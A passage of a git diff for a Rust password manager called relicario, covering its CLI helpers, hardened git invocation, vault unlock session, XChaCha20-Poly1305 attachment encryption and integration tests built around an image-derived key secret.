encoder.write_image(img.as_raw(), 400, 300, image::ExtendedColorType::Rgb8).unwrap();
let secret = [0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04,
0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C,
0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14,
0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1Cu8];
let stego = embed_image_secret(&jpeg_buf, &secret).unwrap();
let extracted = extract_image_secret(&stego).unwrap();
assert_eq!(extracted, secret);
}
#[test]
fn encrypt_entry_decrypt_entry_round_trip() {
let key = [0xABu8; 32];
let entry_json = r#"{"name":"Test","password":"secret","created_at":"2024-01-01T00:00:00Z","updated_at":"2024-01-01T00:00:00Z"}"#;
let ciphertext = encrypt_entry(entry_json, &key).unwrap();
let result = decrypt_entry(&ciphertext, &key).unwrap();
let parsed: serde_json::Value = serde_json::from_str(&result).unwrap();
assert_eq!(parsed["name"], "Test");
assert_eq!(parsed["password"], "secret");
}
}

View File

@@ -0,0 +1,33 @@
[package]
name = "relicario-cli"
version = "0.1.0"
edition = "2021"
description = "CLI for relicario password manager"
[[bin]]
name = "relicario"
path = "src/main.rs"
[dependencies]
relicario-core = { path = "../relicario-core" }
clap = { version = "4", features = ["derive"] }
anyhow = "1"
rpassword = "7"
arboard = "3"
chrono = { version = "0.4", default-features = false, features = ["clock"] }
dirs = "5"
hex = "0.4"
ed25519-dalek = { version = "2", features = ["rand_core"] }
rand = "0.8"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
zeroize = "1"
url = "2"
data-encoding = "2"
[dev-dependencies]
assert_cmd = "2"
predicates = "3"
tempfile = "3"
image = { version = "0.25", default-features = false, features = ["jpeg"] }
serde_json = "1"

View File

@@ -0,0 +1,101 @@
//! CLI-side helpers: vault dir detection, hardened git shell-out, ISO-8601
//! timestamp formatting. Kept in their own module so every command handler
//! stays terse.
use std::path::{Path, PathBuf};
use std::process::Command;
use anyhow::{bail, Context, Result};
use chrono::DateTime;
/// Walk up from `start` looking for a directory containing `.relicario/`.
/// Returns the vault root (the directory that contains `.relicario/`).
/// Audit L8: refuses to operate outside an initialized vault.
pub fn find_vault_dir_from(start: &Path) -> Result<PathBuf> {
let mut cur = start.to_path_buf();
loop {
if cur.join(".relicario").is_dir() {
return Ok(cur);
}
if !cur.pop() {
bail!(
"no .relicario/ directory found in {} or any parent — \
run `relicario init` first",
start.display()
);
}
}
}
/// Convenience wrapper that starts the search from `std::env::current_dir()`.
pub fn vault_dir() -> Result<PathBuf> {
let cwd = std::env::current_dir().context("failed to get current directory")?;
find_vault_dir_from(&cwd)
}
/// Path to the `.relicario/` configuration directory within the vault.
pub fn relicario_dir() -> Result<PathBuf> {
Ok(vault_dir()?.join(".relicario"))
}
/// Build a hardened `git` command — no hooks, no GPG signing, no editor.
/// Audit H4: prevents vault mutations from running hostile hooks, blocking on
/// GPG passphrase prompts (which would hold the master key alive), or entering
/// $EDITOR during rebase conflict markers.
pub fn git_command(repo: &Path, args: &[&str]) -> Command {
let mut cmd = Command::new("git");
cmd.current_dir(repo);
cmd.args([
"-c", "core.hooksPath=/dev/null",
"-c", "commit.gpgsign=false",
"-c", "core.editor=true",
]);
cmd.args(args);
cmd
}
/// Format a Unix-seconds timestamp as an ISO-8601 UTC string.
/// Audit M11: replaces the old `now_iso8601` helper that actually returned
/// a numeric string.
pub fn iso8601(unix_seconds: i64) -> String {
DateTime::from_timestamp(unix_seconds, 0)
.map(|dt| dt.format("%Y-%m-%dT%H:%M:%SZ").to_string())
.unwrap_or_else(|| format!("invalid-timestamp:{unix_seconds}"))
}
#[cfg(test)]
mod tests {
use super::*;
use tempfile::TempDir;
#[test]
fn vault_dir_finds_marker_in_cwd() {
let tmp = TempDir::new().unwrap();
std::fs::create_dir(tmp.path().join(".relicario")).unwrap();
let found = find_vault_dir_from(tmp.path()).unwrap();
assert_eq!(found, tmp.path());
}
#[test]
fn vault_dir_finds_marker_in_parent() {
let tmp = TempDir::new().unwrap();
std::fs::create_dir(tmp.path().join(".relicario")).unwrap();
let subdir = tmp.path().join("sub/nested");
std::fs::create_dir_all(&subdir).unwrap();
let found = find_vault_dir_from(&subdir).unwrap();
assert_eq!(found, tmp.path());
}
#[test]
fn vault_dir_errors_when_missing() {
let tmp = TempDir::new().unwrap();
let err = find_vault_dir_from(tmp.path()).unwrap_err();
assert!(err.to_string().contains(".relicario"));
}
#[test]
fn iso8601_formats_fixed_timestamp() {
// 2026-04-19T00:00:00Z = 1776556800
assert_eq!(iso8601(1_776_556_800), "2026-04-19T00:00:00Z");
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,151 @@
//! Unlocked-vault session: the shape every vault-mutating command works with.
//!
//! Holds the derived master key in `Zeroizing<[u8; 32]>` for the lifetime of a
//! CLI invocation. Drops it (via Zeroize) when the struct goes out of scope.
use std::fs;
use std::path::{Path, PathBuf};
use anyhow::{bail, Context, Result};
use zeroize::Zeroizing;
use relicario_core::{
decrypt_item, decrypt_manifest, decrypt_settings,
derive_master_key, encrypt_item, encrypt_manifest, encrypt_settings,
imgsecret, Item, ItemId, KdfParams, Manifest, VaultSettings,
};
use crate::helpers::vault_dir;
/// A vault whose master key has been derived and is held in memory.
/// The key is wiped via `Zeroize` when this struct drops.
pub struct UnlockedVault {
root: PathBuf,
master_key: Zeroizing<[u8; 32]>,
}
impl UnlockedVault {
pub fn root(&self) -> &Path { &self.root }
pub fn key(&self) -> &Zeroizing<[u8; 32]> { &self.master_key }
/// Full interactive unlock flow: locate vault, prompt passphrase, locate
/// reference image, derive master key.
pub fn unlock_interactive() -> Result<Self> {
let root = vault_dir()?;
let salt = read_salt(&root)?;
let params = read_params(&root)?;
let image_path = get_image_path()?;
let image_bytes = fs::read(&image_path)
.with_context(|| format!("failed to read reference image {}", image_path.display()))?;
let image_secret = Zeroizing::new(imgsecret::extract(&image_bytes)?);
let passphrase = if let Ok(p) = std::env::var("RELICARIO_TEST_PASSPHRASE") {
Zeroizing::new(p)
} else {
Zeroizing::new(
rpassword::prompt_password("Passphrase: ")
.context("failed to read passphrase")?
)
};
let master_key = derive_master_key(
passphrase.as_bytes(),
&*image_secret,
&salt,
&params,
)?;
Ok(Self { root, master_key })
}
pub fn manifest_path(&self) -> PathBuf { self.root.join("manifest.enc") }
pub fn settings_path(&self) -> PathBuf { self.root.join("settings.enc") }
pub fn item_path(&self, id: &ItemId) -> PathBuf {
self.root.join("items").join(format!("{}.enc", id.as_str()))
}
pub fn load_manifest(&self) -> Result<Manifest> {
let bytes = fs::read(self.manifest_path()).context("failed to read manifest.enc")?;
Ok(decrypt_manifest(&bytes, &self.master_key)?)
}
pub fn save_manifest(&self, manifest: &Manifest) -> Result<()> {
let bytes = encrypt_manifest(manifest, &self.master_key)?;
atomic_write(&self.manifest_path(), &bytes)
}
pub fn load_settings(&self) -> Result<VaultSettings> {
let bytes = fs::read(self.settings_path()).context("failed to read settings.enc")?;
Ok(decrypt_settings(&bytes, &self.master_key)?)
}
pub fn save_settings(&self, settings: &VaultSettings) -> Result<()> {
let bytes = encrypt_settings(settings, &self.master_key)?;
atomic_write(&self.settings_path(), &bytes)
}
pub fn load_item(&self, id: &ItemId) -> Result<Item> {
let bytes = fs::read(self.item_path(id))
.with_context(|| format!("failed to read item {}", id.as_str()))?;
Ok(decrypt_item(&bytes, &self.master_key)?)
}
pub fn save_item(&self, item: &Item) -> Result<()> {
let path = self.item_path(&item.id);
if let Some(parent) = path.parent() { fs::create_dir_all(parent)?; }
let bytes = encrypt_item(item, &self.master_key)?;
atomic_write(&path, &bytes)
}
}
fn read_salt(root: &Path) -> Result<[u8; 32]> {
let data = fs::read(root.join(".relicario").join("salt"))
.context("failed to read .relicario/salt")?;
if data.len() != 32 { bail!("invalid salt length: {}", data.len()); }
let mut salt = [0u8; 32];
salt.copy_from_slice(&data);
Ok(salt)
}
fn read_params(root: &Path) -> Result<KdfParams> {
// params.json layout: { "format_version": 2, "kdf": { "argon2_m": ..., ... }, ... }
// We extract only the "kdf" sub-object and deserialize it as KdfParams.
#[derive(serde::Deserialize)]
struct ParamsFile {
kdf: KdfParams,
}
let s = fs::read_to_string(root.join(".relicario").join("params.json"))
.context("failed to read .relicario/params.json")?;
let pf: ParamsFile = serde_json::from_str(&s).context("failed to parse params.json")?;
Ok(pf.kdf)
}
/// Locate the reference image path via `RELICARIO_IMAGE` env var or interactive prompt.
pub fn get_image_path() -> Result<PathBuf> {
if let Ok(path) = std::env::var("RELICARIO_IMAGE") {
return Ok(PathBuf::from(path));
}
// Also accept <vault_root>/reference.jpg as a convention.
if let Ok(root) = vault_dir() {
let default = root.join("reference.jpg");
if default.exists() { return Ok(default); }
}
eprint!("Reference image path: ");
std::io::Write::flush(&mut std::io::stderr())?;
let mut line = String::new();
std::io::stdin().read_line(&mut line)?;
let trimmed = line.trim();
if trimmed.is_empty() { bail!("no reference image path provided"); }
Ok(PathBuf::from(trimmed))
}
/// Atomic write: write to <path>.tmp, then rename over <path>. Keeps the
/// vault file consistent if we crash mid-write.
fn atomic_write(path: &Path, data: &[u8]) -> Result<()> {
let mut tmp = path.as_os_str().to_owned();
tmp.push(".tmp");
let tmp = PathBuf::from(tmp);
fs::write(&tmp, data).with_context(|| format!("failed to write {}", tmp.display()))?;
fs::rename(&tmp, path).with_context(|| format!("failed to rename {}", path.display()))?;
Ok(())
}

View File

@@ -0,0 +1,45 @@
mod common;
use common::TestVault;
#[test]
fn attach_list_extract_round_trip() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "thing",
"--username", "u", "--password", "p"]);
let payload_path = v.path().join("payload.txt");
std::fs::write(&payload_path, b"attached-bytes").unwrap();
let attach = v.run(&["attach", "thing", payload_path.to_str().unwrap()]);
assert!(attach.status.success(), "attach failed: {:?}", attach);
let list = v.run(&["attachments", "thing"]);
let stdout = String::from_utf8(list.stdout).unwrap();
assert!(stdout.contains("payload.txt"), "missing payload: {stdout}");
let aid = stdout.lines()
.find(|l| l.contains("payload.txt"))
.and_then(|l| l.split_whitespace().next())
.expect("aid token");
let out_path = v.path().join("extracted.txt");
let ex = v.run(&["extract", "thing", aid, "--out", out_path.to_str().unwrap()]);
assert!(ex.status.success(), "extract failed: {:?}", ex);
assert_eq!(std::fs::read(out_path).unwrap(), b"attached-bytes");
}
#[test]
fn attach_rejects_over_cap() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "thing",
"--username", "u", "--password", "p"]);
v.run(&["settings", "attachment-cap", "--per-attachment-max-bytes", "10"]);
let big = v.path().join("big.bin");
std::fs::write(&big, vec![0u8; 100]).unwrap();
let out = v.run(&["attach", "thing", big.to_str().unwrap()]);
assert!(!out.status.success(), "expected failure; got {:?}", out);
assert!(String::from_utf8(out.stderr).unwrap().to_lowercase().contains("attachment"));
}

View File

@@ -0,0 +1,136 @@
mod common;
use assert_cmd::cargo::CommandCargoExt as _;
use common::TestVault;
#[test]
fn init_creates_expected_layout() {
let v = TestVault::init();
assert!(v.path().join(".relicario/salt").exists());
assert!(v.path().join(".relicario/params.json").exists());
assert!(v.path().join(".relicario/devices.json").exists());
assert!(v.path().join("manifest.enc").exists());
assert!(v.path().join("settings.enc").exists());
assert!(v.path().join("reference.jpg").exists());
assert!(v.path().join(".gitignore").exists());
assert!(v.path().join(".git").is_dir());
}
#[test]
fn init_params_json_is_format_v2() {
let v = TestVault::init();
let s = std::fs::read_to_string(v.path().join(".relicario/params.json")).unwrap();
let parsed: serde_json::Value = serde_json::from_str(&s).unwrap();
assert_eq!(parsed["format_version"], 2);
assert_eq!(parsed["kdf"]["algorithm"], "argon2id-v0x13");
assert_eq!(parsed["aead"], "xchacha20poly1305");
}
#[test]
fn add_login_then_list_shows_it() {
let v = TestVault::init();
let out = v.run(&[
"add",
"login",
"--title",
"GitHub",
"--username",
"alice",
"--url",
"https://github.com",
"--password",
"hunter2",
]);
assert!(out.status.success(), "add failed: {:?}", out);
let out = v.run(&["list"]);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("GitHub"), "list missing GitHub: {stdout}");
}
#[test]
fn get_masks_by_default_shows_with_flag() {
let v = TestVault::init();
v.run(&[
"add",
"login",
"--title",
"gmail",
"--username",
"u",
"--password",
"super-secret",
]);
let masked = v.run(&["get", "gmail"]);
let stdout = String::from_utf8(masked.stdout).unwrap();
assert!(stdout.contains("********"), "expected masked: {stdout}");
assert!(
!stdout.contains("super-secret"),
"leaked plaintext: {stdout}"
);
let shown = v.run(&["get", "gmail", "--show"]);
let stdout = String::from_utf8(shown.stdout).unwrap();
assert!(stdout.contains("super-secret"), "expected plaintext: {stdout}");
}
#[test]
fn rm_restore_purge_cycle() {
let v = TestVault::init();
v.run(&[
"add",
"login",
"--title",
"target",
"--username",
"u",
"--password",
"p",
]);
let rm = v.run(&["rm", "target"]);
assert!(rm.status.success());
let out = v.run(&["list"]);
assert!(!String::from_utf8(out.stdout).unwrap().contains("target"));
let out = v.run(&["list", "--trashed"]);
assert!(String::from_utf8(out.stdout).unwrap().contains("target"));
let restore = v.run(&["restore", "target"]);
assert!(restore.status.success());
let out = v.run(&["list"]);
assert!(String::from_utf8(out.stdout).unwrap().contains("target"));
let purge = v.run(&["purge", "target"]);
assert!(purge.status.success());
let out = v.run(&["list"]);
assert!(!String::from_utf8(out.stdout).unwrap().contains("target"));
}
#[test]
fn generate_random_and_bip39() {
let dir = tempfile::TempDir::new().unwrap();
let out = std::process::Command::cargo_bin("relicario")
.unwrap()
.current_dir(dir.path())
.args(["generate", "--length", "32"])
.output()
.unwrap();
assert!(out.status.success());
assert_eq!(
String::from_utf8(out.stdout).unwrap().trim().len(),
32
);
let out = std::process::Command::cargo_bin("relicario")
.unwrap()
.current_dir(dir.path())
.args(["generate", "--bip39", "--words", "5"])
.output()
.unwrap();
assert!(out.status.success());
let phrase = String::from_utf8(out.stdout).unwrap();
assert_eq!(phrase.trim().split(' ').count(), 5);
}

View File

@@ -0,0 +1,117 @@
//! Shared helpers for CLI integration tests.
//!
//! `TestVault::init()` spins up a fresh vault in a `TempDir` using
//! `RELICARIO_TEST_PASSPHRASE` as the escape hatch (bypasses TTY prompts).
//! Every `run()` / `run_with_input()` call sets both `RELICARIO_IMAGE` and
//! `RELICARIO_TEST_PASSPHRASE`, so vault-mutating commands unlock without
//! interactive input.
//!
//! Note for Task 23 implementers: commands that prompt for a *new item
//! password* (i.e. `edit` when changing a Login password) also use
//! `rpassword`. Plumb `RELICARIO_TEST_ITEM_PASSWORD` through `cmd_edit` in
//! main.rs, or use an item type / edit path that avoids the rpassword call.
use std::io::Write;
use std::path::{Path, PathBuf};
use std::process::{Command, Stdio};
use assert_cmd::cargo::CommandCargoExt;
use tempfile::TempDir;
pub struct TestVault {
pub dir: TempDir,
pub reference_image: PathBuf,
pub passphrase: String,
}
impl TestVault {
pub fn init() -> Self {
let dir = TempDir::new().expect("tempdir");
let carrier = make_test_jpeg(400, 300);
let carrier_path = dir.path().join("carrier.jpg");
std::fs::write(&carrier_path, &carrier).unwrap();
let passphrase = "correct horse battery staple 2026".to_string();
let ref_path = dir.path().join("reference.jpg");
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(dir.path())
.env("RELICARIO_TEST_PASSPHRASE", &passphrase)
.args([
"init",
"--image",
carrier_path.to_str().unwrap(),
"--output",
ref_path.to_str().unwrap(),
])
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let out = cmd.output().unwrap();
assert!(
out.status.success(),
"init failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr)
);
Self {
dir,
reference_image: ref_path,
passphrase,
}
}
pub fn path(&self) -> &Path {
self.dir.path()
}
pub fn run(&self, args: &[&str]) -> std::process::Output {
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(self.dir.path())
.env("RELICARIO_IMAGE", &self.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &self.passphrase)
.args(args)
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
cmd.output().unwrap()
}
pub fn run_with_input(&self, args: &[&str], extra: &[&str]) -> std::process::Output {
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(self.dir.path())
.env("RELICARIO_IMAGE", &self.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &self.passphrase)
.args(args)
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = cmd.spawn().unwrap();
{
let stdin = child.stdin.as_mut().unwrap();
for line in extra {
writeln!(stdin, "{line}").unwrap();
}
}
child.wait_with_output().unwrap()
}
}
pub fn make_test_jpeg(w: u32, h: u32) -> Vec<u8> {
use image::codecs::jpeg::JpegEncoder;
use image::{ExtendedColorType, ImageBuffer, ImageEncoder, Rgb};
let img = ImageBuffer::from_fn(w, h, |x, y| {
Rgb([
((x * 7 + y * 13) % 256) as u8,
((x * 11 + y * 3) % 256) as u8,
((x * 5 + y * 17) % 256) as u8,
])
});
let mut out = Vec::new();
JpegEncoder::new_with_quality(&mut out, 92)
.write_image(img.as_raw(), w, h, ExtendedColorType::Rgb8)
.unwrap();
out
}

View File

@@ -0,0 +1,59 @@
mod common;
use common::TestVault;
#[test]
fn edit_password_captures_history() {
let v = TestVault::init();
v.run(&["add", "login", "--title", "bank",
"--username", "u", "--password", "first-pw"]);
// edit: accept defaults on title/group/tags/username/url, then change pw.
let out = run_edit_with_pw_change(&v, "bank", "second-pw");
assert!(out.status.success(), "edit failed:\nstdout: {}\nstderr: {}",
String::from_utf8_lossy(&out.stdout),
String::from_utf8_lossy(&out.stderr));
// Verify the edit commit exists in git log.
let log = std::process::Command::new("git")
.current_dir(v.path()).args(["log", "--oneline"])
.output().unwrap();
let log_str = String::from_utf8(log.stdout).unwrap();
assert!(log_str.contains("edit: bank"), "missing edit commit: {log_str}");
// And the item file has been re-written (there's a single items/<id>.enc).
let items_dir = v.path().join("items");
let entries: Vec<_> = std::fs::read_dir(&items_dir).unwrap()
.map(|e| e.unwrap().path()).collect();
assert_eq!(entries.len(), 1);
}
/// Drives the interactive `edit` flow end-to-end:
/// 1. passphrase via env var.
/// 2. blank lines for title, group, tags, username, url.
/// 3. "y" for "Change password?"
/// 4. new password via RELICARIO_TEST_ITEM_SECRET env var.
fn run_edit_with_pw_change(v: &TestVault, query: &str, new_pw: &str) -> std::process::Output {
use assert_cmd::cargo::CommandCargoExt;
use std::io::Write;
use std::process::{Command, Stdio};
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(v.path())
.env("RELICARIO_IMAGE", &v.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.env("RELICARIO_TEST_ITEM_SECRET", new_pw)
.args(["edit", query])
.stdin(Stdio::piped())
.stdout(Stdio::piped())
.stderr(Stdio::piped());
let mut child = cmd.spawn().unwrap();
{
let stdin = child.stdin.as_mut().unwrap();
// title, group, tags, username, url (keep defaults), then yes-to-change-pw.
for line in ["", "", "", "", "", "y"] {
writeln!(stdin, "{line}").unwrap();
}
}
child.wait_with_output().unwrap()
}

View File

@@ -0,0 +1,23 @@
mod common;
use common::TestVault;
#[test]
fn settings_roundtrip_trash_retention() {
let v = TestVault::init();
let out = v.run(&["settings", "show"]);
assert!(String::from_utf8(out.stdout).unwrap().contains("trash_retention"));
let out = v.run(&["settings", "trash-retention", "--days", "60"]);
assert!(out.status.success(), "set failed: {:?}", out);
let out = v.run(&["settings", "show"]);
let stdout = String::from_utf8(out.stdout).unwrap();
assert!(stdout.contains("60"), "expected 60: {stdout}");
}
#[test]
fn settings_rejects_conflicting_retention_flags() {
let v = TestVault::init();
let out = v.run(&["settings", "trash-retention", "--days", "30", "--forever"]);
assert!(!out.status.success());
}

View File

@@ -0,0 +1,59 @@
mod common;
use assert_cmd::cargo::CommandCargoExt;
use std::process::Command;
use tempfile::TempDir;
#[test]
fn list_refuses_without_vault_marker() {
let dir = TempDir::new().unwrap();
// No .relicario/ in dir — list should bail with a friendly error.
let mut cmd = Command::cargo_bin("relicario").unwrap();
let out = cmd.current_dir(dir.path())
.env("RELICARIO_TEST_PASSPHRASE", "foo")
.arg("list")
.output()
.unwrap();
assert!(!out.status.success());
let stderr = String::from_utf8(out.stderr).unwrap();
assert!(stderr.contains(".relicario"), "expected marker hint: {stderr}");
}
#[test]
fn get_finds_vault_in_parent_dir() {
let v = common::TestVault::init();
v.run(&["add", "login", "--title", "parent-test",
"--username", "u", "--password", "p"]);
// Create a nested subdir and run `list` from inside it.
let nested = v.path().join("a/b/c");
std::fs::create_dir_all(&nested).unwrap();
let mut cmd = Command::cargo_bin("relicario").unwrap();
cmd.current_dir(&nested)
.env("RELICARIO_IMAGE", &v.reference_image)
.env("RELICARIO_TEST_PASSPHRASE", &v.passphrase)
.arg("list");
let out = cmd.output().unwrap();
assert!(out.status.success(), "list from nested dir failed: {:?}", out);
assert!(String::from_utf8(out.stdout).unwrap().contains("parent-test"));
}
#[test]
fn v1_vault_is_rejected_with_clear_error() {
// Synthesize an on-disk v1 vault: .idfoto/ dir with old params.json.
// Since vault_dir detection uses .relicario/, the pre-rename dir name is
// naturally rejected without any compat shim. Confirm that.
let dir = TempDir::new().unwrap();
std::fs::create_dir(dir.path().join(".idfoto")).unwrap();
let mut cmd = Command::cargo_bin("relicario").unwrap();
let out = cmd.current_dir(dir.path())
.env("RELICARIO_TEST_PASSPHRASE", "foo")
.arg("list")
.output()
.unwrap();
assert!(!out.status.success());
let stderr = String::from_utf8(out.stderr).unwrap();
assert!(stderr.contains(".relicario"), "expected relicario marker demand: {stderr}");
}

View File

@@ -0,0 +1,30 @@
[package]
name = "relicario-core"
version = "0.1.0"
edition = "2021"
description = "Core library for relicario password manager"
[dependencies]
thiserror = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
argon2 = "0.5"
chacha20poly1305 = "0.10"
rand = "0.8"
sha2 = "0.10"
sha1 = "0.10"
hmac = "0.12"
ed25519-dalek = { version = "2", features = ["rand_core"] }
image = { version = "0.25", default-features = false, features = ["jpeg"] }
# Typed-item additions
zeroize = { version = "1", features = ["zeroize_derive", "serde"] }
zxcvbn = { version = "3", default-features = false }
bip39 = { version = "2", default-features = false, features = ["std"] }
unicode-normalization = "0.1"
chrono = { version = "0.4", default-features = false, features = ["serde", "clock", "wasmbind"] }
hex = "0.4"
url = { version = "2", features = ["serde"] }
getrandom = "0.2"
[dev-dependencies]

View File

@@ -0,0 +1,166 @@
//! Attachment refs (carried on Item) and summaries (carried in Manifest).
//!
//! Encryption helpers (`encrypt_attachment`, `decrypt_attachment`) are added
//! later in Task 22 once the crypto module is settled.
use serde::{Deserialize, Serialize};
use crate::ids::AttachmentId;
/// Reference to an attachment, carried on the Item record.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct AttachmentRef {
pub id: AttachmentId,
pub filename: String,
pub mime_type: String,
/// Plaintext size in bytes.
pub size: u64,
/// Unix-seconds when this attachment was added.
pub created: i64,
}
/// Compact summary of an attachment, carried in the Manifest so the popup
/// can show attachment indicators without decrypting the item file.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct AttachmentSummary {
pub id: AttachmentId,
pub filename: String,
pub mime_type: String,
pub size: u64,
}
impl From<&AttachmentRef> for AttachmentSummary {
fn from(r: &AttachmentRef) -> Self {
Self {
id: r.id.clone(),
filename: r.filename.clone(),
mime_type: r.mime_type.clone(),
size: r.size,
}
}
}
use zeroize::Zeroizing;
use crate::crypto::{decrypt, encrypt};
use crate::error::{RelicarioError, Result};
/// Encrypted attachment with the AID derived from plaintext content.
#[derive(Debug)]
pub struct EncryptedAttachment {
pub id: AttachmentId,
pub bytes: Vec<u8>,
}
/// Encrypt raw attachment bytes, deriving the [`AttachmentId`] from `sha256(plaintext)`.
///
/// Returns [`RelicarioError::AttachmentTooLarge`] immediately if `plaintext.len() > max_bytes`,
/// before any crypto work is done.
///
/// ## Call-site adaptation
///
/// `crypto::encrypt` accepts `&[u8; 32]`; we coerce `&Zeroizing<[u8; 32]>` via
/// `&**master_key` (double-deref: `Zeroizing<[u8;32]>` → `[u8;32]` → `&[u8;32]`).
pub fn encrypt_attachment(
plaintext: &[u8],
master_key: &Zeroizing<[u8; 32]>,
max_bytes: u64,
) -> Result<EncryptedAttachment> {
if plaintext.len() as u64 > max_bytes {
return Err(RelicarioError::AttachmentTooLarge {
size: plaintext.len() as u64,
max: max_bytes,
});
}
let id = AttachmentId::from_plaintext(plaintext);
let bytes = encrypt(master_key, plaintext)?;
Ok(EncryptedAttachment { id, bytes })
}
/// Decrypt a blob produced by [`encrypt_attachment`], returning the plaintext
/// wrapped in [`Zeroizing`] so it is wiped on drop.
///
/// ## Call-site adaptation
///
/// `crypto::decrypt` accepts `&[u8; 32]`; we coerce via `&**master_key`.
pub fn decrypt_attachment(
encrypted: &[u8],
master_key: &Zeroizing<[u8; 32]>,
) -> Result<Zeroizing<Vec<u8>>> {
let plaintext = decrypt(master_key, encrypted)?;
Ok(Zeroizing::new(plaintext))
}
#[cfg(test)]
mod crypto_tests {
use super::*;
fn key() -> Zeroizing<[u8; 32]> {
Zeroizing::new([0x42u8; 32])
}
#[test]
fn attachment_round_trip() {
let plaintext = b"the quick brown fox jumps over the lazy dog";
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
let dec = decrypt_attachment(&enc.bytes, &key()).unwrap();
assert_eq!(dec.as_slice(), plaintext);
}
#[test]
fn attachment_id_matches_sha256() {
let plaintext = b"hello world";
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
assert_eq!(enc.id, AttachmentId::from_plaintext(plaintext));
}
#[test]
fn oversize_attachment_rejected() {
let plaintext = vec![0u8; 11_000_000];
let err = encrypt_attachment(&plaintext, &key(), 10 * 1024 * 1024);
assert!(matches!(err, Err(RelicarioError::AttachmentTooLarge { .. })));
}
#[test]
fn wrong_key_fails_with_opaque_decrypt() {
let plaintext = b"x";
let enc = encrypt_attachment(plaintext, &key(), 1024).unwrap();
let wrong = Zeroizing::new([0u8; 32]);
let err = decrypt_attachment(&enc.bytes, &wrong);
assert!(matches!(err, Err(RelicarioError::Decrypt)));
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn attachment_ref_round_trip() {
let r = AttachmentRef {
id: AttachmentId("0123456789abcdef".into()),
filename: "doc.pdf".into(),
mime_type: "application/pdf".into(),
size: 12345,
created: 1_700_000_000,
};
let json = serde_json::to_string(&r).unwrap();
let parsed: AttachmentRef = serde_json::from_str(&json).unwrap();
assert_eq!(parsed.filename, "doc.pdf");
assert_eq!(parsed.size, 12345);
}
#[test]
fn attachment_summary_from_ref() {
let r = AttachmentRef {
id: AttachmentId("aabb".into()),
filename: "x.txt".into(),
mime_type: "text/plain".into(),
size: 5,
created: 0,
};
let s: AttachmentSummary = (&r).into();
assert_eq!(s.filename, "x.txt");
assert_eq!(s.id, r.id);
}
}

View File

@@ -22,7 +22,7 @@
//! [version: 1 byte] [nonce: 24 bytes] [ciphertext + Poly1305 tag: variable]
//! ```
//!
//! - **Version byte** (`0x01`): allows future format changes without ambiguity.
//! - **Version byte** (`0x02`): allows future format changes without ambiguity.
//! Decryption rejects any version it does not recognize.
//! - **Nonce** (24 bytes): randomly generated per encryption via [`OsRng`].
//! Stored alongside the ciphertext so the decryptor does not need out-of-band
@@ -41,7 +41,7 @@
//! ```
//!
//! Both factors contribute to the derived key -- compromising one without the
//! other is insufficient. The salt is vault-specific and stored in `.idfoto/salt`.
//! other is insufficient. The salt is vault-specific and stored in `.relicario/salt`.
use argon2::{Algorithm, Argon2, Params, Version};
use chacha20poly1305::{
@@ -50,11 +50,13 @@ use chacha20poly1305::{
};
use rand::{rngs::OsRng, RngCore};
use serde::{Deserialize, Serialize};
use unicode_normalization::UnicodeNormalization;
use zeroize::Zeroizing;
use crate::error::{IdfotoError, Result};
use crate::error::{RelicarioError, Result};
/// Current binary format version. Increment this if the ciphertext layout changes.
const VERSION_BYTE: u8 = 0x01;
pub const VERSION_BYTE: u8 = 0x02;
/// XChaCha20-Poly1305 nonce length: 192 bits = 24 bytes.
const NONCE_LEN: usize = 24;
@@ -74,7 +76,7 @@ const HEADER_LEN: usize = 1 + NONCE_LEN; // version + nonce
///
/// # Errors
///
/// Returns [`IdfotoError::Encrypt`] if the underlying AEAD operation fails
/// Returns [`RelicarioError::Encrypt`] if the underlying AEAD operation fails
/// (extremely unlikely in practice).
pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
let cipher = XChaCha20Poly1305::new(key.into());
@@ -88,7 +90,7 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
let ciphertext = cipher
.encrypt(&nonce, plaintext)
.map_err(|e| IdfotoError::Encrypt(e.to_string()))?;
.map_err(|e| RelicarioError::Encrypt(e.to_string()))?;
// Output: version(1) || nonce(24) || ciphertext+tag
let mut output = Vec::with_capacity(HEADER_LEN + ciphertext.len());
@@ -103,30 +105,30 @@ pub fn encrypt(key: &[u8; 32], plaintext: &[u8]) -> Result<Vec<u8>> {
///
/// Validates the version byte and minimum blob length before attempting
/// authenticated decryption. If the key is wrong or the data has been
/// tampered with, the Poly1305 tag verification fails and [`IdfotoError::Decrypt`]
/// tampered with, the Poly1305 tag verification fails and [`RelicarioError::Decrypt`]
/// is returned -- with no information about which bytes were wrong (preventing
/// padding oracle / chosen-ciphertext attacks).
///
/// # Errors
///
/// - [`IdfotoError::Format`] if the data is too short or has an unknown version byte.
/// - [`IdfotoError::Decrypt`] if the AEAD tag verification fails (wrong key or
